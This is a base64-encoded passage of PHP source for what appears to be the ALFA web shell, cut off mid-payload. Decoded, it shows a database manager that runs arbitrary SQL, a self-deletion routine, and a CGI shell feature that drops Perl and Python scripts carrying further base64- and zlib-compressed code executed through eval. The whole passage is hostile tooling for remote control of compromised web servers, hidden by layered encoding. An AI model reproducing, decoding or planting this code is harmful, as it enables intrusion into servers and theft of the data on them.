CQkJZm9yZWFjaCgkZGJbImRhdGEiXSBhcyAkY29sID0+ICR2YWwpewoJCQkJJHF1ZXJ5IC49ICJgIi4kY29sLiJgID0gJyIubXlzcWxpX3JlYWxfZXNjYXBlX3N0cmluZygkY29ubiwgJHZhbCkuIicsIjsKCQkJfQoJCQkkcXVlcnkgPSBzdWJzdHIoJHF1ZXJ5LCAwLCAtMSk7CgkJICAgICRxdWVyeSAuPSAiV0hFUkUgYCIuJGRiWyJjb2xfa2V5Il0uImAgPSAnIi4kZGJbImtleSJdLiInIjsKCQkJJHJlcyA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICRxdWVyeSk7CgkJCWVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+ICRyZXMsICJlcnJvciIgPT4gQG15c3FsaV9lcnJvcigkY29ubikpKTsKCQl9ZWxzZWlmKCR0eXBlID09ICJpbnNlcnQiKXsKCQkJJHF1ZXJ5ID0gIklOU0VSVCBJTlRPIGAiLiRkYlsiZGIiXS4iYC5gIi4kZGJbInRhYmxlIl0uImAgIjsKCQkJZm9yZWFjaCgkZGJbImRhdGEiXSBhcyAkY29sID0+ICR2YWwpewoJCQkJJGNvbHMgLj0gJGNvbCAuICIsIjsKCQkJCSR2YWxzIC49ICInIi5teXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCRjb25uLCAkdmFsKS4iJywiOwoJCQl9CgkJCSRjb2xzID0gc3Vic3RyKCRjb2xzLCAwLCAtMSk7CgkJCSR2YWxzID0gc3Vic3RyKCR2YWxzLCAwLCAtMSk7CgkJCSRxdWVyeSA9ICRxdWVyeSAuICIoIiAuICRjb2xzIC4gIikiIC4gIlZBTFVFUygiIC4gJHZhbHMgLiAiKSI7CgkJCSRyZXMgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAkcXVlcnkpOwoJCQllY2hvIEBqc29uX2VuY29kZShhcnJheSgic3RhdHVzIiA9PiAkcmVzLCAiZXJyb3IiID0+IEBteXNxbGlfZXJyb3IoJGNvbm4pKSk7CgkJfWVsc2V7CgkJCSRwYWdlcyA9IDA7CgkJCSR0aXRsZSA9IGZhbHNlOwoJCQkkcXVlcnkgPSAiIjsKCQkJJHRibF9jb250ZW50ID0gJzx0YWJsZSB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjEiIGNlbGxwYWRkaW5nPSIyIiBjbGFzcz0ibWFpbiBteXNxbC1kYXRhLXRibCIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzI5MjkyOSI+JzsKCQkJJGxpbmUgPSAwOwoJCQkkdGFibGVzID0gYXJyYXkoKTsKCQkJJGNvbHVtbnMgPSBhcnJheSgpOwoJCQlpZigkdHlwZSA9PSAibG9hZF9kYXRhIil7CgkJCQkkcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kZGJbImRiIl0uImAuYCIuJGRiWyJ0YWJsZSJdLiJgIExJTUlUIDAsMzAiOwoJCQkJJHRibF9jb3VudF9xID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNFTEVDVCBDT1VOVCgqKSBGUk9NIGAiLiRkYlsiZGIiXS4iYC5gIi4kZGJbInRhYmxlIl0uImAiKTsKCQkJCSR0YmxfY291bnQgPSBAbXlzcWxpX2ZldGNoX3JvdygkdGJsX2NvdW50X3EpOwoJCQkJJGNvbHVtbnNfcXVlcnkgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiU0VMRUNUIENPTFVNTl9OQU1FIGFzIG5hbWUsIENPTFVNTl9UWVBFIGFzIHR5cGUsIENPTExBVElPTl9OQU1FIGFzIGNvbGxhdGlvbiwgREFUQV9UWVBFIGFzIGRhdGFfdHlwZSwgQ0hBUkFDVEVSX01BWElNVU1fTEVOR1RIIGFzIHR5cGVfdmFsdWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSBgVEFCTEVfU0NIRU1BYCA9ICciLiRkYlsiZGIiXS4iJyBBTkQgYFRBQkxFX05BTUVgID0gJyIuJGRiWyJ0YWJsZSJdLiInIik7CgkJCQl3aGlsZSgkcm93MiA9IEBteXNxbGlfZmV0Y2hfYXJyYXkoJGNvbHVtbnNfcXVlcnksIE1ZU1FMSV9BU1NPQykpewoJCQkJCSRjb2x1bW5zW10gPSAkcm93MjsKCQkJCX0KCQkJCWlmKCR0YmxfY291bnRbMF0gPiAzMCl7CgkJCQkJJHBhZ2VzID0gY2VpbCgkdGJsX2NvdW50WzBdIC8gMzApOwoJCQkJfQoJCQl9ZWxzZWlmKCR0eXBlID09ICJxdWVyeSIpewoJCQkJJHF1ZXJ5ID0gJGRiWyJxdWVyeSJdOwoJCQl9ZWxzZWlmKCR0eXBlID09ICJwYWdlIil7CgkJCQkkZGJbInBhZ2UiXSA9IChpbnQpJGRiWyJwYWdlIl0gLSAxOwoJCQkJJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS4iYCBMSU1JVCAiLigkZGJbInBhZ2UiXSozMCkuIiwzMCI7CgkJCX1lbHNlaWYoJHR5cGUgPT0gInNlYXJjaCIpewoJCQkJJHNlYXJjaCA9ICIiOwoJCQkJJHNlYXJjaF9ub3ZhbCA9IGFycmF5KCI9ICcnIiwgIiE9ICcnIiwgIklTIE5VTEwiLCAiSVMgTk9UIE5VTEwiKTsKCQkJCWZvcmVhY2goJGRiWyJzZWFyY2giXSBhcyAkY29sID0+ICR2YWwpewoJCQkJCSRzZWFyY2hfbm92YWxfciA9IGluX2FycmF5KCR2YWxbIm9wdCJdLCAkc2VhcmNoX25vdmFsKTsKCQkJCQlpZihlbXB0eSgkdmFsWyJ2YWx1ZSJdKSAmJiAhJHNlYXJjaF9ub3ZhbF9yKWNvbnRpbnVlOwoJCQkJCWlmKHN0cnN0cigkdmFsWyJvcHQiXSwgIi4uLiIpIHx8ICRzZWFyY2hfbm92YWxfcil7CgkJCQkJCSR2YWxbIm9wdCJdID0gc3RyX3JlcGxhY2UoIi4uLiIsICR2YWxbInZhbHVlIl0sICR2YWxbIm9wdCJdKTsKCQkJCQkJJHNlYXJjaCAuPSAkY29sIC4gIiAiIC4gJHZhbFsib3B0Il0gLiAiIEFORCAiOwoJCQkJCX1lbHNlewoJCQkJCQkkc2VhcmNoIC49ICRjb2wgLiAiICIgLiAkdmFsWyJvcHQiXSAuICIgJyIuYWRkc2xhc2hlcygkdmFsWyJ2YWx1ZSJdKS4iJyBBTkQgIjsKCQkJCQl9CgkJCQl9CgkJCQkkc2VhcmNoIC49ICIxPTEiOwoJCQkJJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS4iYCBXSEVSRSAiIC4gJHNlYXJjaDsKCQkJfQoJCQkkcV90YWJsZXMgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAkcXVlcnkpOwoJCQlpZighJHFfdGFibGVzKXsKCQkJCWVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+IGZhbHNlLCAiZXJyb3IiID0+IEBteXNxbGlfZXJyb3IoJGNvbm4pLCAicXVlcnkiID0+ICRxdWVyeSkpOwoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJCSRjb2xfa2V5ID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNFTEVDVCBDT0xVTU5fTkFNRSBGUk9NIElORk9STUFUSU9OX1NDSEVNQS5DT0xVTU5TIFdIRVJFIFRBQkxFX1NDSEVNQSA9ICciLkBhZGRzbGFzaGVzKCRkYlsiZGIiXSkuIicgQU5EIFRBQkxFX05BTUUgPSAnIi5AYWRkc2xhc2hlcygkZGJbInRhYmxlIl0pLiInIEFORCBDT0xVTU5fS0VZID0gJ1BSSSciKTsKCQkJaWYoJGNvbF9rZXkpewoJCQkJJGNvbF9rZXkgPSBAbXlzcWxpX2ZldGNoX3JvdygkY29sX2tleSk7CgkJCQkkY29sX2tleSA9ICRjb2xfa2V5WzBdOwoJCQkJaWYoIWVtcHR5KCRjb2xfa2V5KSl7CgkJCQkJJHRibF9jb250ZW50ID0gJzxkaXYgc3R5bGU9Im1hcmdpbi1ib3R0b206NXB4O21hcmdpbi10b3A6NXB4OyI+PGJ1dHRvbiBjb2xfa2V5PSInLiRjb2xfa2V5LiciIHRibF9uYW1lPSInLiRkYlsidGFibGUiXS4nIiBkYl9pZD0iJy4kZGJbImRiX2lkIl0uJyIgCWRiX3RhcmdldD0iJy4kZGJbImRiIl0uJyIgb25jbGljaz0iYWxmYU15c3FsRGVsZXRlQWxsU2VsZWN0ZWRyb3dzKHRoaXMpO3JldHVybiBmYWxzZTsiPkRlbGV0ZSBTZWxlY3RlZCBSb3dzPC9idXR0b24+PC9kaXY+PHRhYmxlIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMSIgY2VsbHBhZGRpbmc9IjIiIGNsYXNzPSJtYWluIG15c3FsLWRhdGEtdGJsIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMjkyOTI5Ij4nOwoJCQkJfQoJCQl9ZWxzZXsKCQkJCSRjb2xfa2V5ID0gZmFsc2U7CgkJCX0KCQkJd2hpbGUoJGl0ZW0gPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCRxX3RhYmxlcykpewoJCQkJaWYoISR0aXRsZSl7CgkJCQkJJHRibF9jb250ZW50IC49ICc8dHIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzMwNWI4ZTsiPic7CgkJCQkJaWYoJGNvbF9rZXkpewoJCQkJCQkkdGJsX2NvbnRlbnQgLj0gJzx0aCBzdHlsZT0id2lkdGg6IDU1cHg7dGV4dC1hbGlnbjpjZW50ZXI7Ij48aW5wdXQgZGJfaWQ9IicuJGRiWyJkYl9pZCJdLiciIG9uY2hhbmdlPSJhbGZhTXlzcWxUYmxTZWxlY3RBbGwodGhpcyk7IiB0eXBlPSJjaGVja2JveCI+PC90aD48dGggc3R5bGU9IndpZHRoOiA1NXB4O3RleHQtYWxpZ246Y2VudGVyOyI+RWRpdDwvdGg+PHRoIHN0eWxlPSJ3aWR0aDogNTVweDt0ZXh0LWFsaWduOmNlbnRlcjsiPkRlbGV0ZTwvdGg+JzsKCQkJCQl9CgkJCQkJZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSl7CgkJCQkJCSR0YmxfY29udGVudCAuPSAnPHRoPicuJGtleS4nPC90aD4nOwoJCQkJCX0KCQkJCQlyZXNldCgkaXRlbSk7CgkJCQkJJHRpdGxlPXRydWU7CgkJCQkJJHRibF9jb250ZW50IC49ICc8L3RyPjx0cj4nOwoJCQkJfQoKCQkJCWlmKCRjb2xfa2V5KXsKCQkJCQkkY2FjaGVNc2cgPSAnPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxpbnB1dCByb3dfaWQ9IicuJGxpbmUuJyIgdHlwZT0iY2hlY2tib3giIG5hbWU9InRibF9yb3dzX2NoZWNrYm94W10iIHZhbHVlPSInLiRpdGVtWyRjb2xfa2V5XS4nIj48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48YSBjbGFzcz0iZGItb3B0LWlkIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBkYl9pZD0iJy4kZGJbImRiX2lkIl0uJyIgZGJfdGFyZ2V0PSInLiRkYlsiZGIiXS4nIiB0YmxfbmFtZT0iJy4kZGJbInRhYmxlIl0uJyIgY29sX2tleT0iJy4kY29sX2tleS4nIiBrZXk9IicuJGl0ZW1bJGNvbF9rZXldLiciIG9uY2xpY2s9ImFsZmFNeXNxbEVkaXRSb3codGhpcywgXCdlZGl0XCcpOyIgc3R5bGU9ImNvbG9yOiMwYWNhYTY7Ij5FZGl0PC9hPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxhIGNsYXNzPSJkYi1vcHQtaWQiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIGRiX2lkPSInLiRkYlsiZGJfaWQiXS4nIiBkYl90YXJnZXQ9IicuJGRiWyJkYiJdLiciIHRibF9uYW1lPSInLiRkYlsidGFibGUiXS4nIiBjb2xfa2V5PSInLiRjb2xfa2V5LiciIGtleT0iJy4kaXRlbVskY29sX2tleV0uJyIgcm93X2lkPSInLiRsaW5lLiciIG9uY2xpY2s9ImFsZmFNeXNxbEVkaXRSb3codGhpcywgXCdkZWxldGVcJyk7IiBzdHlsZT0iY29sb3I6I2ZmMWUxZTsiPkRlbGV0ZTwvYT48L3RkPic7CgkJCQl9CgkJCQkkdGJsX2NvbnRlbnQgLj0gJzx0ciBjbGFzcz0idGJsX3JvdyB0Ymxfcm93X2wnLiRsaW5lLiciPicuJGNhY2hlTXNnOwoJCQkJJGxpbmUrKzsKCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpewoJCQkJCWlmKCR2YWx1ZSA9PSBudWxsKXsKCQkJCQkJJHRibF9jb250ZW50IC49ICc8dGQ+PGk+bnVsbDwvaT48L3RkPic7CgkJCQkJfWVsc2V7CgkJCQkJCSR0YmxfY29udGVudCAuPSAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4nPC90ZD4nOwoJCQkJfQoJCQkJfQoJCQkJJHRibF9jb250ZW50IC49ICc8L3RyPic7CgkJCX0KCQkJJHRibF9jb250ZW50IC49ICc8L3RhYmxlPic7CgkJCWlmKCEkdGl0bGUpewoJCQkJJHRibF9jb250ZW50ID0gIjxkaXYgc3R5bGU9J3BhZGRpbmc6NXB4O2JvcmRlcjoxcHggZGFzaGVkO21hcmdpbjoxMHB4Oyc+VGFibGUgaXMgZW1wdHkuLi48L2Rpdj4iOwoJCQl9CgkJCWVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+IHRydWUsICJ0YWJsZSIgPT4gJHRibF9jb250ZW50LCAiY29sdW1ucyIgPT4gJGNvbHVtbnMsICJwYWdlcyIgPT4gJHBhZ2VzLCAicXVlcnkiID0+ICRxdWVyeSkpOwoJCX0KCQlAbXlzcWxpX2Nsb3NlKCRjb25uKTsKCX0KfQpmdW5jdGlvbiBhbGZhc2VsZnJtKCl7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkmJiRfUE9TVFsnYWxmYTEnXT09J3llcycpewplY2hvKF9fcHJlKCkuJzxjZW50ZXI+Jyk7CmlmKEB1bmxpbmsoJEdMT0JBTFNbJ19fZmlsZV9wYXRoJ10pKXsKZWNobygnPGI+U2hlbGwgaGFzIGJlZW4gcmVtb3ZlZDwvaT4gOik8L2I+Jyk7Cn1lbHNlewplY2hvICd1bmxpbmsgZXJyb3IhJzsKfQplY2hvKCc8L2NlbnRlcj4nKTsKfQppZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pJiYkX1BPU1RbJ2FsZmExJ10hPSd5ZXMnKXsKZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+IjsKZWNobyAiCjxjZW50ZXI+PHA+PGltZyBzcmM9XCJodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9mYXJ2YWhhci1pcmFuLnBuZ1wiPjwvcD4iOwplY2hvICc8cD48ZGl2IGNsYXNzPSJ0eHRmb250Ij5EbyB5b3Ugd2FudCB0byBkZXN0cm95IG1lPyE8L2Rpdj48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2VsZnJtXCcsbnVsbCxcJ3llc1wnKTsiPiBZZXM8L2E+JzsKZWNobyAnPC9wPjwvY2VudGVyPjwvZGl2Pic7Cn0KfQpmdW5jdGlvbiBhbGZhY2dpc2hlbGwoKXsKYWxmYWhlYWQoKTsKJGRpdiA9ICIiOwphbGZhQ3JlYXRlUGFyZW50Rm9sZGVyKCk7CkBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fQUxGQV9EQVRBX0ZPTERFUl9fKTsKaWYoIWluX2FycmF5KCRfUE9TVFsnYWxmYTEnXSxhcnJheSgncGVybCcsJ3B5JykpKXsKJGRpdiA9ICI8L2Rpdj4iOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IENHSSBTaGVsbCB8PC9kaXY+PC9wPjxoMz48YSBjbGFzcz0icmVqZWN0bWUiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKSIgb25jbGljaz0icnVuY2dpKFwncGVybFwnKSI+fCBQZXJsIHwgPC9hPjxhIGNsYXNzPSJyZWplY3RtZSIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApIiBvbmNsaWNrPSJydW5jZ2koXCdweVwnKTsiPnwgUHl0aG9uIHwgPC9hPic7Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMSddKSYmaW5fYXJyYXkoJF9QT1NUWydhbGZhMSddLGFycmF5KCdwZXJsJywncHknKSkpewpAbWtkaXIoJ2NnaWFsZmEnLDA3NTUpOwpAY2hkaXIoJ2NnaWFsZmEnKTsKYWxmYWNnaWh0YWNjZXNzKCdjZ2knKTsKJG5hbWUgPSAkX1BPU1RbJ2FsZmExJ10uJy5hbGZhJzsKJHBlcmwgPSAnIyEvdXNyL2Jpbi9wZXJsICAgLUkvdXNyL2xvY2FsL2JhbmRtaW4nLiJcbiIuJ3VzZSBNSU1FOjpCYXNlNjQ7dXNlIENvbXByZXNzOjpabGliO2V2YWwoQ29tcHJlc3M6OlpsaWI6Om1lbUd1bnppcChkZWNvZGVfYmFzZTY0KCJINHNJQUFBQUFBQUEvNlVaRFhmVFJ2S3ZMQnRoU1JCYnRrdGF6ckpjUXVKQTNpVWhseGp1OWFKZ1pHbHQ3ME9XVkgyUXBNYjk3VGV6dTdLa0VLQzB5VU9SWnVkN1ptZG1seUpqNVBUNGREd1l2UFF5OXZNenV3REFFUStaQkVUZWlnblF3VTFBZEcrV1RSTXZYK3EyNWkvNE5PQXBjUWc4RWNzb0Z3MnRhNXEyOWw4ZW5VMWd1V3RyWjVPRFZYREpFdmlpTFdwcmJ5TitXMEZzZ0J6RXE1VVhCUk8rWW5HUkh4YXBsL000Z3RVZWtGOHU0NXZETzVEQi9UZEZuaFE1d20wTnRCS0M0V3ZCOGpCZThJaDgvb3p2eVUzQkEwTWJtdmhOdlhEdW9ZaFNvS0ZVKzVWVWlnMUlUU2xUSUorRHdYVms2Z2NVOEdoeUUxREFPQWRMNy9PanJpdFFMRVM0WU9BWTV1ZHgyc1FoL1ZHclIzcWpWbC9nNGx0UHdJQW9LMmJrZ25uQnVaZUN5OWRoN0hzaE1aN3d5QVFlTDZhRXorRnBLN0RHZDRrRzcvRDh5TzdnK2NrTFFlNXBFZVk4OGRMOEtFNVhoMTd1QWFrMlBudTMxZy9lbkUzR1o1UHA1TGZ6c2I0aHpwL0VXcFhJcmpVSDlIWUErRGFaeFVVVWVPbWRZM1NlbXBwbDg3a2hPVnlNLy9OMmZEbVpubzRucjk4Y0FnLzJPNkd2eGhOcXJqVWViUVVCMHNWdjA4dkp4ZkhaSzMxamIxaVlmWnZGK1p0TDVKR0M2Y2JsNVBENERLemgwZTQ5dlUvR1o2OG1yL1dOYVcrMjdQNnVUYUR3U3dVQnRmVjJXKzlvUGZ0RnlEUE1yaXdKZVc1WVd4Ukw2QVBPZlEwYXN2UmxIQ0NWaHRoWHZlc21HRFJ3VXpmQ2Y1L2hUMlNWeTBqeHdkWktZcjE4L1pOa2drS3pBSlZIYTMwT3V3K1ZSbnVJUUtwWUFIZGN4cngzWElxMnVMUWtrL2k5MnBkZ1RTMXJjUitXSVF5OEEwbms5RzFsaWNhdjRaVS9mUXJPS1FFUy8zM25xWkFvVkt3dkFYZkR2VkZLUUJZcUJTQVRsWW5pRFZrWTc0MkdXMHp6c3dCbzhLV1pRc1V0N21PajB6R3R4UE0vR3RTbnUyVEpiZzJ0WjVyV2dnbERVSkt3RlNqc0RhWVhXNzhRK2FjQzF5b0RCaVl5ejEvQ0J6RzZwTk1oMmc2QU1Wa3I0OXluRmdIeFJtMFhWWndjeVFteGQwbmZWRVorVjhrZk5LVURaZER0VXR6ZlJzRG1QR0pRdnNwVkxLWjFUR1gxQm92RjJ5U012UURMOWRwZnhvbWhUYndVQ3VBWkJNc1UzR29BZE5oQmthWXN5Zzk1YXFKK0srdktkVjNyR3ZhNE5rbTlLSnV6RkptSnRVZkcxWHZydmV0ZVB6RzFSM2FkRVNxaDZoL3VHcldFaEpmOEQ1VERvOXlBSkYxZ00yaG10RWtzcU9uOVp5WVdsVGhoa2ZIMi9PVE4vdUhSOGNsNGw5QlJUUXcxemZXTVI2czRZRFVrWVphc3BuYVNnaUJTclpGN3dtdy9qTE1Hc1NLaHBiRXNJUGUxLy9mTGpodFJoYWhQbG93Z1EwTDF6a3oxdzRhWE96b2xOMTVHQ2hFSjRKY1Z2cyt5YkY2RTRWMUhsOG1wcEI1NXFCcjBta2ZVbHZFN3h3VVVyUUlKOVlxc05TeGJXSldHUHNTS3BhT2hBTVFSVUt4NDd0Qjh5Yk9PL09nRVBQTm13TlhKMDRMWllpWG9RSVlVekpubHNXY1VFY3Q4TDJFR2kzenc1TnVMWStpMVNSd0JaNk9PYlVLYVVRSkkrVjNDSExvdG9sVU5wV1RGOG1VY09MSmNFOC9ISHUyQVk3UkxQK1ZKZmdKOUNVSGdrdEV3OUdZc0pFRHNVT1dhRktCWjRrV0VBNHZwZEk2dUxCSUFXZ2dka1dHV3AzRzBHTFdpV1piWThubXdqQ0dDeEJNeEFFU0pNYlFFOTlHUVJ6Z05aUGxkQ0NxREo1TFF1eHRFWUJ5WWdsSzJrc0Y1L3RLTEZvZ1crOFVLck85QUJNY2h3OWVYZDhlQjRlcGJuVnpkN1BBb1l1bnJ5ZW1KSTd5RThyT3I3blZIREVTVVNDOGhsQkpSR3VtY2tnenl4NkUvN2RGU003a2lJMVhTbEY4eVJrckZMWVhFV2ZJZ1lGSEpPZGdpZzZ1ckhTemMvSFVxNzBzUklwYndSNldWTGhyN0ZLd1NUVGhsZVpGR29nM2pDeEZwYU5jVFdFR3F6RDMzRmt4MnByVTJGdmtWVlBvMTY0MzlFSUpvREZmdnZmWWYrKzMvZGR2L3VqWXQvYkhlS1NKWk1GOC9vYnRRTEMyMktQZnRRUXlhUjNrYkRSNlFuTjNtMWpKZmhkaFF0bHQyaUpEUmNBbDZqWVk1ejBNMk9rREJaSFpIOWsrTzlzbUU3WitTTmpsNGRVek9XUm9PTFlrMEZIazBlcktHQ1RTRUVpd1RhYk96VFl2MUhQeVlEMGpLRjh2Y2pqK3hGQUEzQStsMjI0L0RPQjNzOVBmbTgyN1h2dUZCdmh6MG5uV1RXN3RNVENpTHlMYzlnNkh0bzQzS3Q3ZE1DQXREbm1ROHMyK1dQR2R0MkJJK1dCakZONm1YMkJ1Ujcrc1ZsQjBldFlYOEFaUlI0QTMwT1lkeHNPMkZmQkVOeUFxVUNaazlpMU1JQ3VBa3R5U0xReDRRS0hYMkRMeTZTSEdtQWQ5aEJZUU5EdDRFN050MnR2UUMxS01MdjgrQWFxYzcvcW43YkY5eGFxZGV3SXRzZ0V2S050TGZRd1YreEF5L1NEUHdFVWxpamduNEZjZElZNG5jNit1NnptaURpa0hJNW5tcFNFOTRZaU8yd3BYWUNuS1BYYStWd0ZKZW5aY0k3c051a3BFa2NZb0Y0eUVIYkhiOFZiRCtXOXhLMy8yQ0tqOFF6d2VrSlY0UThHalJWazdLY3FqS0E3TDM1UXBEVFJDK3dhQkFhRDNZeWxpVGxINk52SzVwWDFPK0ZGelRwVzdQenBINEtRVVBlajhEbWtyOHZlZiszdDd6TXZHNzNjZlZEdkdLUExZM1dMNXhndzB0dVRWbk9QM0dFZGFtYjFWbGNEWFc0emtnWkFiMnFObENTSFRvVGxmOFFHR05FK2xLaDhJWHBrYnRVNzRLdFdyZlM0Wk9Gd0IwRmpDVHBrR1ZySm91VkJNbENnSkpSMWRrT0t0S0NYaUVrY3dMU0F2Uzl4UFBPSFJoOHFjQXE2OFhpeFUwL0k0ZnI0YldiRVN1c2Y1R2VWVi9oemwyYmlMZDdOQWVEQkpTUy9RZUpUN3NKZHcvNEdpaEozNHJ4enUwRDRybXlDSm9FQ210NTdEckhQcU9wWUVYZVdWZlFoSlFvMkhYVHI4Lzd2ZWZpNVhMU25OeXNPQ3FOczVHU20wQ3RUZUM4eXhZbjhjRW16NUxJY0E0QkhWMGlaY0grTURHMG13UlIzRU05cFpUa05KN1JEdXRCOFlmWTl1SE9yVGlDQS8wRmZ6RnJNRVV3aHBQYTNMVURjSUpKUGd4RmdMa3RkYk9VeGgyOEVSWG5iOXJQV2xFeEJFYzRpcm1FamxINkNxZnV6LzlBaTYxZGRCemU5V0FLb2xoNWNYM0tHck9vZFdBOHlWTmZ6Wm52VDJncWFsVjRsKzdHcUYyTlEyaU0yWS9QQTNLbGVXOUplajhqVldZbGh4WFg4Sk9XemRtU0ZlSFNLdTdubzd1Nmh1eDZ2L1FoT2xYRStZL25VKzNvOWFQaktKL2E3SUNnRXdlU080NkE2d1dKYmt2cDB5b1VOdlpyL3NYWnpKZnB1czk3SEkyYk02TmltUTBvbzNaV0Q2L1M3K1VTa1ppQmc2NS85R2hFSHcvanVZY2RwdXI3NmVNM01VRm5Gdmc1VmRJQUpVQlFDUVNRazZBUkEyRmN3OCs3SzFPcjJNNHAxV0RKV1RvUHhvcW05ZUFhK0QwU0c1Y2MrMkZIcWpiTmF0SlVLQVNkdXN6aGlWNTVkM3lWYkVpT1JDVEdNNklYN2xUekJqWUhoaVpXWjdCeHJmTUwzSldNbHh2V3Rzck9QdGVPbTF2dUM0UExvN1BKOU96L2RNeEhETnJ1NzNDR0YrOEcxOXNNWnFuYTFKZXg5aWFUTjBTaElkVzdhS0lTbVVjRWpEY0Z0T1p1SnlWcDJrZnI4QzB4cUQ5QUZhQVdQSlNvSUg2UVYxdWZzQ1RkR01ONDBYRndieWhBbDRUdkhlekozN2daay94eGdrdnoyQ3dnQk9pdk83NUxvRjluMExHdjNsRnFpNW9PeldvdmRIZWhNRURSNG5LUGRRUGlGdXY2UzZGNnF0WTRhS1NXd0dWK1Y5eGpXVDh3YlEzclhzbkhMeS93WHZmdjlSUnRoM0RmVkZQamhxbUxPNzNXdUl3NEovS0JxR0dRNXhtQm4wY3gvU1JHRCtrNVlPSHVvbWFNVVVEcWdLeWJVQ3lTWU9JMFRENXRxakdZRm9LTDRkS2tzWTNtYVAzdXpySkVwaEovQ1dEb3FLTHlnQ2lSVHFvck1hTVVxZFBjOTJxTHF2S0JQaUxjYXdiVTArUGVuM1FMbzlmcmZYOWs0dFRjUTNxdHByYjM1YjE0eXRGUWQwb2YvRWZEY0QyczlPcjhnM3Y2Y2huYW91TEt3V1VtTHZiZW1QaTBTZGt4ckN4UGdKV1UzWGd4UnZRMUkxTXZFMVZDYUJOOFFDN0FXbmRSbkdzTWxKbytHVTEzR3pLRkxMSytKUXh0cExhU0VidDFsZkhKTHQxYjFLei93OHdibFMrRlJvQUFBPT0iKSkpOyc7OwokcHkgPSAnIyEvdXNyL2Jpbi9weXRob24nLiJcbmltcG9ydCB6bGliLCBiYXNlNjRcbiIuJ2V2YWwoY29tcGlsZSh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZSgiZUp5bEY5dHkyemIyMmZvS0RMeGJVcXVyRlR2TjZOYTZYcWYxYk5ObUVyY3Z0a2NERXFDSUNRbHdRZEMyNnZGKys1NERrQkxWYU9PMmE4L1lCTTc5Zm1ETlp0bzVrbm1oalNYeFd0cG81djhOaFdKUkpzSnVSenpHb3JDQVZiQ3k3TlNvNWFic0ExNWZsLzIxc0FqcFI2d1VyMC83bGNreUdYVVNvM05pWlM1SVEyRk5ndWVHZ3pVc0ZoR0xQM25VajlaSXRiNzZ1VUZ2empXakJya0JGd0MxSzFDdEl4T2lTOUQyWGhxdGhpa3JWNS9FSnFRZkx6NWN2YjllL1hUKzdwSjJRZmt5TnJLd2lvRkNpeGJCelI3aVhVZGtwZmc5TnFVZExoTENzb1JkNUR5TWtkMVJuTXFNcjByTHBlcVQ3VUZYMXJNdmRDSFVCSEQzVVlkeHBrdDA2dEdSRVdXVklYYWJlR2dFNCtFZUVkNjJxV3hsRlBIRW5VU2JIRG1zNWZDdEZCbi9hTFZoYThTTWN3NEFoQThoUHZjc3EwUVl4RUczdzZYNUhNQUJBSDRFSWpETmsvb3dEaXYxNzBwYkVmcmdEcVBYcDF6RW1vc1FzTHFPQ0JnQ2tXZjdFaEZnZFZ1Uy9NZk5lUHJxaml3V0pJZzVDZEMzeXF2Z3pxU0hFdUJ2TU1OdmhPQjM4Y0FEd0x5b2pCSEsvdE5KYndLRTVGM3daSkZCMG9UQnJRcjZnVGRRYWV1NE1RV2NkN1NCQTBoRk1oMnpyQXd4d0FjNUJ5ajJBT3M2YTBEQ0MxejMyWUlxSFlqZHlqc1BzNGJaZE1paUV2K0hkRWk3bmZlUS9RVm1TWEJENW5Ddm9JNDJtVmpRV0dmYVRJL0hyNzQrR1k5bmRCbjA2anJFc0ZhbE1HRzNGOHhIU0xMODlnWEt2WEs0L1BEcjVZZTZITFljRHNxZVJJazRPWE1jZG1idFNPNytGcURQVnlzc285WEtSWGkxeXBsVXF4V0cyWlV3b1JkYVdTQWQyRTBocHNTS1J6dEtiWjdkbWx0Rkc2UmdqbGZMZVFyVnNaeGJhVE94dklDRTRpVGFrUE1mMzU2VGEzSCtq